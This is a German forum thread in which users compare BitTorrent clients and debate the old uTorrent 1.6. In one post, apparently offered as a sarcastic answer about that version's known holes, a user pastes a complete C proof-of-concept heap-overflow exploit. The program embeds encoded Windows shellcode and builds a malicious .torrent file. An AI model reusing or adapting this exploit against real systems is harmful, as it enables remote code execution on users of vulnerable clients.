Welche Torrent-Clients benutzt Ihr?

[Gast]

Jo, Frage sollte klar sein, die Antworten darauf auch! ;)
Interessant wäre außerdem die Client-Version...


[x] utorrent 1.6

[Thanatos]

µTorrent 2.2 Beta, build 22144

Der begleitet mich nun schon seit der prä Null Ära, da ich den früheren König, Azureus, noch nie ausstehen konnte, obwohl dieser ja die Referenz war.

[Gast]

µTorrent 2.2 Beta, build 22144

Der begleitet mich nun schon seit der prä Null Ära, da ich den früheren König, Azureus, noch nie ausstehen konnte, obwohl dieser ja die Referenz war.

Javascheisse.

[x] utorrent immer aktuell

[Lyka]

Vuze ;) genau, Javascheisse ;)

[lumines]

[x] Transmission

Die Qt-Version habe ich zwar noch nie benutzt, unter OS X und in GTK-Umgebungen integriert er sich aber konkurrenzlos gut.

[DarkFox]

Ktorrent/rTorrent

[Drill]

Vuze ;) genau, Javascheisse ;)

Vuze = Azureus

[x] µTorrent 2.2 Beta

[Lyka]

Vuze = Azureus

[x] µTorrent 2.2 Beta

daher auch mein Kommentar ;) ich benutze es schon, seit es noch Azureus hiess

[#44]

Noch Transmission. Aber ab demnächst Deluge - weil das Web-UI wesentlich besser ist.

[exzentrik]

Ich brauche Torrent extrem selten. Und wenn, dann reicht auch die in Opera integrierte Torrent-Funktion.

[patrese993]

flashget 1.9 irgendwas

[KinGGoliAth]

µtorrent für alles was mal so anfällt.

[Benedikt]

[x] Transmission

Die Qt-Version habe ich zwar noch nie benutzt, unter OS X und in GTK-Umgebungen integriert er sich aber konkurrenzlos gut.
Transmission wird aber leider irgendwie nicht mehr wirklich weiterentwickelt, habe ich das Gefühl. Ist außerdem, zumindest auf meinem Sys, von den erzielbaren DL-Geschwindigkeiten deutlich langsamer als Vuze/Azureus oder uTorrent.

[#44]

[x] utorrent 1.6
Wieso eigentlich eine so alte Version?

Transmission wird aber leider irgendwie nicht mehr wirklich weiterentwickelt, habe ich das Gefühl. Ist außerdem, zumindest auf meinem Sys, von den erzielbaren DL-Geschwindigkeiten deutlich langsamer als Vuze/Azureus oder uTorrent.
Das kann ich nicht nachvollziehen. Wie kommst du darauf? (https://trac.transmissionbt.com/wiki/Changes) Es geht höchstens etwas langsamer als anderswo, weil die Crew nur aus zwei Personen besteht... Einer von denen widmet sich momentan sehr stark der Implementierung eines neuen/bessern Webclients.

Das mit dem Speed fühlt sich bei mir aber auch so an...

[Didi Bouzul]

Es gibt gute Gründe, Version 1.6 von µTorrent zu benutzen.

[#44]

:uclap:

Sehr hilfreich wenn ich nach diesen Gründen frage...

[Einherjer]

[x] Vuze

[G!ZMo]

[x] rtorrent

[Iceman346]

Ich hab Azureus benutzt bevor es Vuze wurde und mit seltsamen Features aufgebläht wurde. Da ich einfach nur einen schlanken Torrentclient will nutz ich nun µTorrent.

[Benedikt]

Das mit dem Speed fühlt sich bei mir aber auch so an...
Kann Transmission eigentlich UDP-Verbindungen/Tracker? Könnte das der Grund sein, dass es langsamer zu sein scheint?
Ich hab Azureus benutzt bevor es Vuze wurde und mit seltsamen Features aufgebläht wurde. Da ich einfach nur einen schlanken Torrentclient will nutz ich nun µTorrent.
Du weißt, dass du auf die alte Azureus-Oberfläche zurückschalten kannst, und von dem Vuze-Krempel dann nichts mehr mitbekommst? ;)
Aber schon klar: Würde auf meiner Torrentbox Windows laufen, dann wäre uTorrent selbstredend die erste Wahl...

Fährt von euch eigentlich jemand uTorrent unter Unix/Wine, und lässt sich das gut nutzen?

[Klingone mit Klampfe]

Ich bin inzwischen wieder bei Vuze gelandet. Wenn man die alte GUI aktiviert, ist es genau wie das alte Azureus.

[#44]

Kann Transmission eigentlich UDP-Verbindungen/Tracker? Könnte das der Grund sein, dass es langsamer zu sein scheint? Das kann ich dir nicht sagen. Scheinbar (http://www.techsupportalert.com/content/optimizing-transmission-bittorrent-client-speed.htm) geht es.

Fährt von euch eigentlich jemand uTorrent unter Unix/Wine, und lässt sich das gut nutzen?
Da kommt bald was Interessantes (http://www.utorrent.com/downloads/linux)...

[Benedikt]

Da kommt bald was Interessantes (http://www.utorrent.com/downloads/linux)...
Ooooh, das ist ja mal schön... :D :ubeer: :love2:

[peter075]

(X) Bit-Tornado

......ganz einfach zu bedienen....

[Sonyfreak]

Ich benutze Transmission, und sehe auch keinen Grund umzusteigen.:smile:

mfg.

Sonyfreak

[Captian Sheridan]

Das kann ich dir nicht sagen. Scheinbar (http://www.techsupportalert.com/content/optimizing-transmission-bittorrent-client-speed.htm) geht es.

Da kommt bald was Interessantes (http://www.utorrent.com/downloads/linux)...
hoffentlich

[x] µTorrent v2.2 beta

[Rooter]

µTorrent 2.0.x stable
Wobei ich den auch sehr selten anwerfe.

Und wenn, dann reicht auch die in Opera integrierte Torrent-Funktion.Der ist aber sehr rudimentär. Außerdem veraltet und deshalb lahm wie Sau. Wenn µTorrent schon mit Vollgas am ziehen ist sucht Opera immer noch Quellen zusammen... :rolleyes:

Es gibt gute Gründe, Version 1.6 von µTorrent zu benutzen.Verrätst du uns welche das deiner Meinung nach sind oder soll ich anfangen die Akte-X Melodie zu pfeifen!? :|

MfG
Rooter

[piefke]

Verrätst du uns welche das deiner Meinung nach sind oder soll ich anfangen die Akte-X Melodie zu pfeifen!? :|

MfG
Rooter

*aktexmelodiepfeif*

/*
* This is a PoC remote exploit for uTorrent 1.6
*
* Author:
* defsec <defacedsecurity@hotmail.com>
* http://www.defacedsecurity.com
*
*
* Works on XP SP1 and w2k sp1-4
*
*/

#include <stdio.h>
#include <stdlib.h>

#define NASIZE 4880

unsigned char nice_announce[NASIZE];
unsigned char xorops[]="\x33\xc0\x33\xdb";

// win32_exec - EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum
// Restricted Character 0x00
unsigned char shellcode[]=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47"
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x34\x4a\x51\x4b\x48"
"\x4f\x55\x42\x42\x41\x30\x4b\x4e\x49\x44\x4b\x58\x46\x43\x4b\x58"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x45\x46\x42\x46\x50\x45\x37\x45\x4e\x4b\x38"
"\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x54"
"\x4b\x38\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x4b\x48\x4e\x41\x4b\x48"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x50\x43\x4c\x41\x53"
"\x42\x4c\x46\x36\x4b\x58\x42\x54\x42\x53\x45\x48\x42\x4c\x4a\x37"
"\x4e\x30\x4b\x48\x42\x34\x4e\x50\x4b\x58\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x35\x41\x53"
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
"\x42\x35\x4a\x36\x50\x47\x4a\x4d\x44\x4e\x43\x47\x4a\x36\x4a\x49"
"\x50\x4f\x4c\x48\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x46\x43\x46\x42\x30\x5a";

//msvcrt.dll pop,pop,ret addr all xp sp1 exchange it with 0x7801D07B for win2k sp3/sp4
unsigned char jmptosc[] = "\xeb\x04\
\xa7\x2c\xc2\x77\
\x33\xc0\xb0\x11\xc1\xe0\x08\x5b\x5b\x5b\x2b\xd8\xff\xe3";

int main(int argc,char *argv[])
{
FILE * pFile;
long lSize;
char * buffer;
size_t result;

long i = 0;
long j = 0;
long lPtrIndex;
long lHeadSize;
long lTailSize;
char * curptr;
char * alptr;
char * torrentTail;

if (argc < 2)
{
printf("\n[uTorrent 1.6] Heap Overflow Exploit - by [DEFACEDSECURITY]");
printf("\n\nUsage: ");
printf("%s",argv[0]);
printf(" <TorrentFile>\n");
return 0;
}

pFile = fopen (argv[1],"rb");
if (pFile==NULL)
{
fputs ("File error",stderr);
return 0;
}

// obtain file size:
fseek (pFile ,0,SEEK_END);
lSize = ftell (pFile);
rewind (pFile);

// allocate memory to contain the whole file:
buffer = (char*) malloc (sizeof(char)*lSize);
if (buffer == NULL)
{
fputs ("Memory error",stderr);
return 0;
}

// copy the file into the buffer:
result = fread (buffer,1,lSize,pFile);
if (result != lSize)
{
fputs ("Reading error",stderr);
return 0;
}

fclose (pFile);

/* find announce / announce-list and erase it */
alptr = (char *) strstr(buffer,"announce");
if (alptr == NULL)
{
printf("\ninvalid torrent file");
return 0;
}

curptr = (char *) strstr(alptr, "7:comment");
lHeadSize = curptr - buffer;
lTailSize = lSize - lHeadSize;

torrentTail = (char *) malloc (sizeof(char)*lTailSize);
memcpy(torrentTail,curptr,lTailSize);

/* generate offending header */
strcpy(nice_announce,"d8:announce4864:");
for (lPtrIndex = 16; lPtrIndex <= 4864+16; lPtrIndex++)
nice_announce[lPtrIndex] = 0x90;
lPtrIndex = 84;
memcpy(nice_announce + lPtrIndex ,xorops,sizeof(xorops)-1);
lPtrIndex += sizeof(xorops) -1;
memcpy(nice_announce+lPtrIndex,shellcode, sizeof(shellcode)-1);
for (lPtrIndex = 4438; lPtrIndex<4458; lPtrIndex++,i++)
nice_announce[lPtrIndex] = jmptosc[i];

/* get head and tail together into a file */
curptr = (char *) malloc(sizeof(char)*(NASIZE+lTailSize));
for (i=0;i<NASIZE;i++)
curptr[i] = nice_announce[i];
for (;i<(NASIZE+lTailSize);i++,j++)
curptr[i] = torrentTail[j];

/* write to file and exit */
pFile = fopen ( "output.torrent" , "wb" );
if (pFile==NULL)
{
fputs ("File error",stderr);
return 0;
}
fwrite(curptr, sizeof(char), (NASIZE+lTailSize), pFile);
fclose (pFile);

return 1337; //:)
}

[DanMan]

Transmission wird aber leider irgendwie nicht mehr wirklich weiterentwickelt, habe ich das Gefühl. Ist außerdem, zumindest auf meinem Sys, von den erzielbaren DL-Geschwindigkeiten deutlich langsamer als Vuze/Azureus oder uTorrent.
Downloads rennen bei mir wie überall. Nur die Uploads wollen irgendwie nicht so.

[DanMan]

Der ist aber sehr rudimentär. Außerdem veraltet und deshalb lahm wie Sau. Wenn µTorrent schon mit Vollgas am ziehen ist sucht Opera immer noch Quellen zusammen... :rolleyes:
Da hab ich aber oft auch den Verdacht, dass die anderen Clients bestimmte (die eigenen?) irgendwie bevorzugen.

[(del)]

Falls ich es mal brauche, der letzte µTorrent 1.8.x. Ja, und ich weiß warum ;)

[Wilhelm]

@BessereHälfte: Bitte lass mich nicht dumm sterben. Warum sollte man eine ältere Version verwenden? Wenn es dafür einen Grund gibt bitte sag es einfach.

Normalerweise µTorrent in der aktuellen Version.

[miller]

bei µtorrent is nach 1.6 ne gewisse firma eingestiegen und da werden halt theorien aufgestellt....

tbh, alles blödsinn. die neuerungen der aktuellen versionen überwiegen da imho mehr.

[Wilhelm]

Omfg, ihr verwendet µtorrent 1.6 ernsthaft weil sich Bittorrent eingekauft habt? Ihr setzt eine 3 Jahre alte Software mit bekannten Lücken freiwillig ein? Aber sonst geht es euch gut?
Wenn ihr dem Hersteller nich traut dann wechselt den Client ...

[eXistence]

rtorrent (in nem screen auf meinem linux-server)

[Mars81]

Omfg, ihr verwendet µtorrent 1.6 ernsthaft weil sich Bittorrent eingekauft habt? Ihr setzt eine 3 Jahre alte Software mit bekannten Lücken freiwillig ein? Aber sonst geht es euch gut?
Wenn ihr dem Hersteller nich traut dann wechselt den Client ...

Ich glaube es geht eher um die Firma PeerFactor:
http://de.wikipedia.org/wiki/Utorrent#Funktionen (µTorrent-Funktionen, letzter Absatz)

[HeldImZelt]

Exotische Clients werden hauptsächlich von Rütli Derivaten mit Tonga TLDs aus esoterischen Gründen verwendet. Die besseren Tracker erlauben sowieso nur eine sehr enge Auswahl an Clients.

uTorrent mit uTP bevorzugt eigene Clients, bzw. Clients mit uTP Protokoll, um (nach eigenen Angaben) den allgemeinen Traffic zu verbessern. (http://winfuture.de/news,54176.html)

[Rooter]

Omfg, ihr verwendet µtorrent 1.6 ernsthaft weil sich Bittorrent eingekauft habt? Ihr setzt eine 3 Jahre alte Software mit bekannten Lücken freiwillig ein? Aber sonst geht es euch gut?
Wenn ihr dem Hersteller nich traut dann wechselt den Client ...Full Ack! Ich habe schon alleine wegen der pro Version nur um wenige KB anwachsenden Dateigröße wenig bedenken was das angeht. So viel Spyware kann man da gar nicht untergebracht haben.

MfG
Rooter

[#44]

Und dann ist da noch die Tatsache das BT Inc. auch Maintainer des Protokolls ist und mit Bram Cohen als (Mit-)Gründer den Erfinder dessen an Bord haben.

Die sind nicht so blöd zu denken, sie könnten mit ihren Usern machen was sie wollen. Denn wer BT wozu nutzt und wie schnell die ganz weit weg sind ist denen absolut klar... Ich unterstelle einfach mal ein klitzekleines Interesse am Erfolg von BT.

Ganz ab davon, dass man als US-Firma mit Spyware in der eigenen SW ziemlich schwergewichtige Klagen erwarten kann.

[Athlonxp]

frage an diejenigen, die sich mit torrent auskennen, lädt ein torrent client auch andere daten runter und oder hoch, statt denen, die man selbst aktiv in seinen client per link oder datei eingefügt hat, da man sie bewusst haben möchte?

[Asaraki]

frage an diejenigen, die sich mit torrent auskennen, lädt ein torrent client auch andere daten runter und oder hoch, statt denen, die man selbst aktiv in seinen client per link oder datei eingefügt hat, da man sie bewusst haben möchte?


Nope, ausser du hast dir coole Malware installiert ^^

[Athlonxp]

okay muss ich mal scannen :/, nutzte qBittorrent

[Asaraki]

War mehr Scherz, wenn du keinen Grund dazu hast dann musst du dir auch keine Sorgen machen.

Ich meinte : Eine Torrent-Software, die was anderes überträgt als das von dir gewollte tut nicht was eine Torrent-Software tun sollte und wäre Malware :)

[Athlonxp]

hehe ok habe das schon verstanden, mir war auch so, aber trotzdem scanne ich mal den pc, vielleicht habe ich ja doch komische software auf dem pc :/

[MiamiNice]

Der Client kann nur uploaden, was sich auch auf Deiner Platte befindet. Das gilt auch für Teile vom geladenen Content.

[Athlonxp]

ok danke, ihr habt mir erstmal schon mal gut geholfen :)

[Kriegsgeier]

ich kann real-debrid.com empfehlen! Sehr günstig und kann fast alles!